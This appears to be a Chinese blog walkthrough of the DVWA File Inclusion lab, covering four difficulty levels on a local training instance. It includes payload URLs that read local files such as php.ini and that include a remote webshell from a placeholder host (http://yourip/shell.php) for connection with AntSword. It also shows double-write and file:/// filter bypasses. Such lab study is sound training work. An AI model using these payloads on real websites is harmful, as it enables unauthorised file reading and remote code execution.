DVWA之File Inclusion
阿新 • • 發佈:2021-02-19
學習基礎檔案上傳
low level
檢視原始碼:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以看到程式碼沒有任何限制過濾,可以任意包含檔案…
首先隨便寫個包含檔案:
http://localhost/DVWA/vulnerabilities/fi/?page=111.php
直接報出了網站路徑。。。
需要說明的是:不管檔案字尾是否是php,都會當做php檔案執行,如果檔案內容確認為php,則正常執行並返回結果,如果不是,則返回列印檔案內容,所以檔案包含漏洞常常會導致任意檔案讀取與任意命令執行。
例如:
http://localhost/DVWA/vulnerabilities/fi/?page=E:/webpage/public/DVWA/php.ini
顯示:
會將裡邊的內容顯示出來
這種情況也可能存在遠端檔案包含漏洞
檢視是否存在遠端檔案包含:
例如:
http://localhost/DVWA/vulnerabilities/fi/?page=http://yourip/shell.php
有條件可以測試一下,若存在可以直接通過蟻劍連線
medium level
檢視原始碼:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
可以看到程式碼中str_replace()函式對“http://”、“https://”、“…/”、“…\”進行了過濾替換為空字元,即刪除~
這中型別的過濾可以直接 雙寫繞過
,例如:hthttps://tps://
、htthttp://p://
high level
檢視原始碼:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch() 函式根據指定的模式來匹配檔名或字串。
也就是要求page引數的開頭必須是file,伺服器才會去包含相應的檔案。
這個就跟用瀏覽器開啟本地檔案一樣,直接構造payload:
http://localhost/DVWA/vulnerabilities/fi/?page=file:///E:/webpage/public/DVWA/php.ini
同樣可以訪問本地檔案~
impossible level
看程式碼:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
這種類似於白名單方式,只能是在白名單裡的頁面可以訪問,完美避過了其他檔案包含
<小白初試,希望路過大佬多多指正>